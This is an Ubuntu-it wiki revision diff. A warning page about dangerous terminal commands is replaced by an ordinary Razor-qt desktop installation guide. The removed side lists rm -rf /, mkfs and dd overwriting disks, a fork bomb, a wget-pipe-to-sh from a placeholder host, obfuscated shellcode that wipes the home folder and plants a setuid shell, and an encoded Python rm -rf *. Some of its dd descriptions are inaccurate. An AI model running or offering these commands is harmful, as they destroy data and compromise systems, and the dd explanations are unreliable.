Dimensione: 7078
Commento:
|
Dimensione: 5087
Commento:
|
Le cancellazioni sono segnalate in questo modo. | Le aggiunte sono segnalate in questo modo. |
Linea 1: | Linea 1: |
## page was renamed from ComandiDannosi | ## page was renamed from LucaGambardella/Prove6 |
Linea 5: | Linea 5: |
<<Indice(width=2)>> <<Informazioni(forum=http://forum.ubuntu-it.org/viewtopic.php?f=46&t=619925&p)>> |
<<Indice(depth=1)>> <<Informazioni(forum="http://forum.ubuntu-it.org/viewtopic.php?f=46&t=528388; rilasci="16.04")>> |
Linea 10: | Linea 11: |
A scopo puramente didattico e illustrativo, in questa guida raccoglie una lista di comandi potenzialmente pericolosi. | '''Razor-qt''' è un ambiente grafico leggero basato sulle librerie Qt. |
Linea 12: | Linea 13: |
Si raccomanda di usare particolare prudenza in caso sia necessario eseguire alcuni dei comandi elencati di seguito. Si ricorda che è possibile eseguire in tutta sicurezza comandi potenzialmente dannosi, a scopo di test, all'interno di [[Virtualizzazione|macchine virtuali]]. | '''Razor-qt''' include un pannello, un desktop, un lanciatore, un software di configurazione. Questi componenti possono essere abilitati o meno dall'utente. Sempre all'utente spetta inoltre la scelta del [[https://it.wikipedia.org/wiki/Window_manager|gestore finestre]] (viene fornito [[AmbienteGrafico/Openbox| Openbox]], ma possono essere utilizzati anche [[AmbienteGrafico/CompositeManager/CompizFusion|Compiz]], KWin, fvwm2 o altri). |
Linea 14: | Linea 15: |
||<tablestyle="text-align: justify; width:60%;" style="border:none;" 5%><<Immagine(Icone/Grandi/info.png,,center)>> ||<style="padding:0.5em; border:none;">In caso di dubbi consultare le guide relative al [[AmministrazioneSistema/Terminale|terminale]] e ai [[AmministrazioneSistema/ComandiBase|comandi di base]], oppure rivolgersi ai [[http://www.ubuntu-it.org/supporto|canali di supporto]]. || | Negli ultimi anni il team di sviluppo di Razor-qt ha iniziato a collaborare con quello di [[AmbienteGrafico/Lxde|LXDE]] per fondere i due progetti nel nuovo ambiente grafico [[AmbienteGrafico/Lxqt|LXQt]]. Pertanto lo sviluppo di Razor-qt è stato abbandonato. L'ambiente grafico è tuttavia ancora installabile in Ubuntu e disponibile all'interno dei [[Repository|repository ufficiali]]. |
Linea 16: | Linea 17: |
||<tablestyle="text-align: justify; width:60%;" style="border:none;" 5%><<Immagine(Icone/Piccole/warning.png,,center)>> ||<style="padding:0.5em; border:none;">'''Gli utenti che pubblicheranno questi comandi all'interno del [[http://forum.ubuntu-it.org|forum di supporto di Ubuntu-it]] verranno permanentemente bannati, attraverso il blocco del loro account.''' || | ||<tablestyle="text-align: justify; width:100%;" style="border:none;" 5%><<Immagine(Icone/Piccole/warning.png,,center)>> ||<style="padding:0.5em; border:none;">'''Essendo un progetto abbandonato, non sono previsti aggiornamenti o eventuali correzioni di bug.''' || |
Linea 18: | Linea 19: |
= Comandi da terminale = | = Installazione = |
Linea 20: | Linea 21: |
<<Anchor(rm)>> == Rimozione: rm == |
[[AmministrazioneSistema/InstallareProgrammi|Installare]] il pacchetto [[apt://razorqt | razorqt]] e relative dipendenze. |
Linea 23: | Linea 23: |
* I seguenti comandi cancellano rispettivamente tutti i file, la cartella corrente e i file visibili all'interno della cartella corrente: {{{ rm -rf / rm -rf . rm -rf * |
Completata l'installazione, per avviare la sessione: * Se già si dispone di un ambiente grafico terminare la sessione corrente e al login selezionare la sessione '''Razor-qt''' . * Se si è su sistema [[Installazione/CdMinimale|minimale]], [[AmministrazioneSistema/InstallareProgrammi|installare]] il pacchetto [[apt://xinit | xinit]] se non presente (per abilitare il [[https://it.wikipedia.org/wiki/X_Window_System|server grafico]]). Successivamente, a seconda delle proprie esigenze: * Installare un [[AmbienteGrafico/DisplayManager|display manager]], riavviare il pc ed effettuare il login come descritto nel primo punto. * Digitare da [[AmbienteGrafico/AvviareProgrammi#Avviare_programmi_da_terminale|linea di comando]]: {{{ startx |
Linea 29: | Linea 31: |
* Qualora si volessero eliminare solamente file nascosti (che hanno primo carattere del nome «`.`», ovvero un punto) il comando {{{ rm -r .* }}} potrebbe provocare risultati inattesi. Infatti, effettuando la scansione della cartella corrente, troverebbe anche l'occorrenza `..` che si riferisce alla cartella di livello superiore. * Al contrario del comando precedente, il seguente comando elimina solo i file nascosti contenuti nella cartella corrente: {{{ rm -r .[^.]* }}} <<Anchor(mkfs)>> == Formattazione: mkfs == Il comando '''mkfs''' viene utilizzato per formattare supporti di memoria, causando la distruzione di tutti i dati, rimpiazzandoli con un nuovo [[https://it.wikipedia.org/wiki/File_system|filesystem]]. Di seguito è riportato un esempio di come si possa formattare una partizione con filesystem `ext4`, o una partizione in base al suo nome (viene preso come esempio il primo dispositivo `/dev/sda1`). {{{ mkfs mkfs.ext4 mkfs.ext4 /dev/sda1 }}} <<Anchor(dd)>> == Copia di blocchi di dati: dd == Utilizzando il comando '''dd''' con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]] e determinati parametri, si può incorrere nella totale perdita dei dati contenuti in un intero dispositivo (incluse quindi eventuali altre partizioni e l'[[https://it.wikipedia.org/wiki/Master_boot_record|MBR]]). Ad esempio, dove i parametri `if` e `of` rappresentano rispettivamente i dati da inserire e il dispositivo di destinazione: * `dd if=/dev/zero of=/dev/sda`: riempie il dispositivo con una sequenza di zeri; * `dd if=/dev/null of=/dev/sda`: riempie il dispositivo con una sequenza di zeri; * `dd if=/dev/random of=/dev/sda`: riempie il dispositivo con una sequenza di dati nulli (non memorizzati). |
Ecco come si presenta il desktop di '''Razor-qt''': <<BR>> <<Immagine(./razorqt.png,800,center)>> |
Linea 63: | Linea 36: |
<<Anchor(fork)>> == Utilizzo sconsiderato di fork() == |
||<tablestyle="text-align: justify; width:100%;" style="border:none;" 5%><<Immagine(Icone/Grandi/info.png,,center)>> ||<style="padding:0.5em; border:none;">Installando '''Razor-qt''' sarà anche disponibile al login la sessione '''[[AmbienteGrafico/Openbox|Openbox]]'''.|| |
Linea 66: | Linea 38: |
L'utilizzo del comando di sistema '''fork''' permette la creazione di un processo "figlio" avente le stesse caratteristiche del padre. | = Configurazione = |
Linea 68: | Linea 40: |
Lanciare però un numero enorme di processi "figli" può causare il blocco del sistema, obbligando l'utente al riavvio forzato con possibile corruzione o danneggiamento dei dati presenti su disco. Alcuni comandi che possono causare tale fenomeno sono: {{{ :(){:|&};: }}} oppure (utilizzando il linguaggio di programmazione [[https://it.wikipedia.org/wiki/Perl|perl]]):{{{ fork while fork }}} |
== Pannello == |
Linea 75: | Linea 42: |
<<Anchor(script)>> == Esecuzione script == |
'''Razor-qt''' viene fornito con un pannello che si trova nella parte inferiore dello schermo. L'aggiunta di altri pannelli attualmente non è possibile. |
Linea 78: | Linea 44: |
L'esecuzione di script all'interno di un [[AmministrazioneSistema/Terminale|terminale]] può essere dannosa poiché questi possono contenere al loro interno comandi potenzialmente dannosi o non desiderati. Si raccomanda pertanto di eseguire script suggeriti da fonti fidate. | * '''Configura pannello''': con questa opzione, accessibile da clic destro sul pannello, è possibile impostarne l'altezza, la larghezza e l'allineamento. * '''Plugin''': possono essere aggiunti diversi plugin. Con clic destro sul pannello selezionare '''Aggiungi Plugin''' per poter aggiungere '''Avvio rapido''', '''Monitor di rete''', '''Mostra desktop''' ed altri. |
Linea 80: | Linea 47: |
Nei seguenti esempi vengono riportati comandi che scaricano ed eseguono un ipotetico script in bash «`prova.sh`» da un ipotetico indirizzo «`http://sito_internet`»:{{{ wget http://sito_internet/prova.sh sh ./prova.sh }}} {{{ wget http://sito_internet/prova.sh -O- | sh }}} |
== Area di lavoro == |
Linea 87: | Linea 49: |
<<Anchor(sorgente)>> = Compilazione codice sorgente = |
Di default sono disponibili quattro aree di lavoro. Per ulteriori modifiche utilizzare l' '''Openbox Configuration manager''' dal percorso '''''Menu → Preferenze → Impostazioni di Razor-qt'''''. |
Linea 90: | Linea 51: |
È potenzialmente possibile nascondere del codice pericoloso (o addirittura maligno) all'interno all'interno di [[https://it.wikipedia.org/wiki/Codice_sorgente|sorgenti]] di dimensioni considerevoli. Pertanto si raccomanda di eseguire, compilare e modificare codici provenienti solo da fonti attendibili, quali le piattaforme di distribuzione dove il codice sia consultabile in maniera libera e facile da qualsiasi utente (ad esempio [[https://launchpad.net/|Launchpad]], [[http://sourceforge.net|SourceForge]], [[https://github.com/|GitHub]] ecc.). | Per cambiare lo sfondo del desktop, fare clic destro sullo stesso e selezionare la voce '''Imposta lo sfondo del desktop'''. |
Linea 92: | Linea 53: |
Un esempio di codice pericoloso è il seguente: {{{ char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;"; }}} |
== Widget == |
Linea 106: | Linea 55: |
Apparso all'interno di una [[http://seclists.org/fulldisclosure/2007/Aug/0071.html|mailing list]] come dimostrazione di [[https://it.wikipedia.org/wiki/Exploit|exploit]] da eseguire con i [[AmministrazioneSistema/Sudo|privilegi di amministrazione]], l'esempio precedente può sembrare un codice incomprensibile e affatto pericoloso. In realtà esegue il comando {{{ rm -rf ~ / & }}} che distrugge la cartella '''Home''' dell'utente che ha eseguito il codice compilato. |
Sul desktop possono essere posizionati dei plugin (widget). Di default è presente l'orologio.<<BR>> Se ne possono aggiungere altri facendo clic destro sul dektop e selezionando '''Aggiungi un nuovo oggetto sul desktop...''' (il numero dei plugin disponibili è molto esiguo). |
Linea 111: | Linea 58: |
= Archivi Tar = Alcuni archivi [[AmministrazioneSistema/FormatiDiCompressione#tar|tar]] possono provocare spiacevoli inconvenienti e causare danni al sistema. Per ulteriori informazioni consultare [[AmministrazioneSistema/FormatiDiCompressione#tar|questa guida]]. |
== Centro di configurazione di Razor == |
Linea 114: | Linea 60: |
= Altri esempi = L'esecuzione del seguente comando in [[Programmazione/Python|Python]] per una durata di circa 30 secondi ha un effetto disastroso sui file del proprio hard disk: {{{ python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))' }}} Infatti la sintassi `"sn!.sg!+"` sta ad indicare `rm -rf *`, comando a cui è dedicato il relativo [[#rm|paragrafo]]. |
Attraverso il percorso '''''Menu → Preferenze → Impostazioni di Razor-qt''''' è raggiungibile il '''Centro di configurazione di Razor'''. Fra i vari strumenti disponibili al suo interno: * '''Strumento di configurazione della sessione di Razor''': permette di selezionare il gestore di finestre, caricare i moduli di '''Razor''', impostare le applicazioni predefinite per il terminale, per il browser ecc. In più vi sono le opzioni di configurazione dell'avvio e delle variabili d'ambiente. * '''Configurazione dell'aspetto di Razor''': permette di configurare i temi per menu, finestre e le icone. * '''Configurazione della sospensione automatica''': permette di aggiungere un plugin che va ad integrarsi con un'icona sul pannello. In questo modo possono essere impostate le azioni da intraprendere nel caso la durata della batteria del portatile stia per esaurirsi: nessuna azione, sospensione, ibernazione, spegnimento. |
Linea 122: | Linea 67: |
* [[https://github.com/Razor-qt/razor-qt |GitHub]] * [[http://it.wikipedia.org/wiki/Razor-qt | Pagina enciclopedica]] |
|
Linea 124: | Linea 71: |
CategoryAmministrazione | ##CategoryGrafica CategoryHomepage |
Problemi in questa pagina? Segnalali in questa discussione
Introduzione
Razor-qt è un ambiente grafico leggero basato sulle librerie Qt.
Razor-qt include un pannello, un desktop, un lanciatore, un software di configurazione. Questi componenti possono essere abilitati o meno dall'utente. Sempre all'utente spetta inoltre la scelta del gestore finestre (viene fornito Openbox, ma possono essere utilizzati anche Compiz, KWin, fvwm2 o altri).
Negli ultimi anni il team di sviluppo di Razor-qt ha iniziato a collaborare con quello di LXDE per fondere i due progetti nel nuovo ambiente grafico LXQt. Pertanto lo sviluppo di Razor-qt è stato abbandonato. L'ambiente grafico è tuttavia ancora installabile in Ubuntu e disponibile all'interno dei repository ufficiali.
Installazione
Installare il pacchetto razorqt e relative dipendenze.
Completata l'installazione, per avviare la sessione:
Se già si dispone di un ambiente grafico terminare la sessione corrente e al login selezionare la sessione Razor-qt .
Se si è su sistema minimale, installare il pacchetto xinit se non presente (per abilitare il server grafico). Successivamente, a seconda delle proprie esigenze:
Installare un display manager, riavviare il pc ed effettuare il login come descritto nel primo punto.
Digitare da linea di comando:
startx
Ecco come si presenta il desktop di Razor-qt:
Installando Razor-qt sarà anche disponibile al login la sessione Openbox. |
Configurazione
Pannello
Razor-qt viene fornito con un pannello che si trova nella parte inferiore dello schermo. L'aggiunta di altri pannelli attualmente non è possibile.
Configura pannello: con questa opzione, accessibile da clic destro sul pannello, è possibile impostarne l'altezza, la larghezza e l'allineamento.
Plugin: possono essere aggiunti diversi plugin. Con clic destro sul pannello selezionare Aggiungi Plugin per poter aggiungere Avvio rapido, Monitor di rete, Mostra desktop ed altri.
Area di lavoro
Di default sono disponibili quattro aree di lavoro. Per ulteriori modifiche utilizzare l' Openbox Configuration manager dal percorso Menu → Preferenze → Impostazioni di Razor-qt.
Per cambiare lo sfondo del desktop, fare clic destro sullo stesso e selezionare la voce Imposta lo sfondo del desktop.
Widget
Sul desktop possono essere posizionati dei plugin (widget). Di default è presente l'orologio.
Se ne possono aggiungere altri facendo clic destro sul dektop e selezionando Aggiungi un nuovo oggetto sul desktop... (il numero dei plugin disponibili è molto esiguo).
Centro di configurazione di Razor
Attraverso il percorso Menu → Preferenze → Impostazioni di Razor-qt è raggiungibile il Centro di configurazione di Razor. Fra i vari strumenti disponibili al suo interno:
Strumento di configurazione della sessione di Razor: permette di selezionare il gestore di finestre, caricare i moduli di Razor, impostare le applicazioni predefinite per il terminale, per il browser ecc. In più vi sono le opzioni di configurazione dell'avvio e delle variabili d'ambiente.
Configurazione dell'aspetto di Razor: permette di configurare i temi per menu, finestre e le icone.
Configurazione della sospensione automatica: permette di aggiungere un plugin che va ad integrarsi con un'icona sul pannello. In questo modo possono essere impostate le azioni da intraprendere nel caso la durata della batteria del portatile stia per esaurirsi: nessuna azione, sospensione, ibernazione, spegnimento.
Ulteriori risorse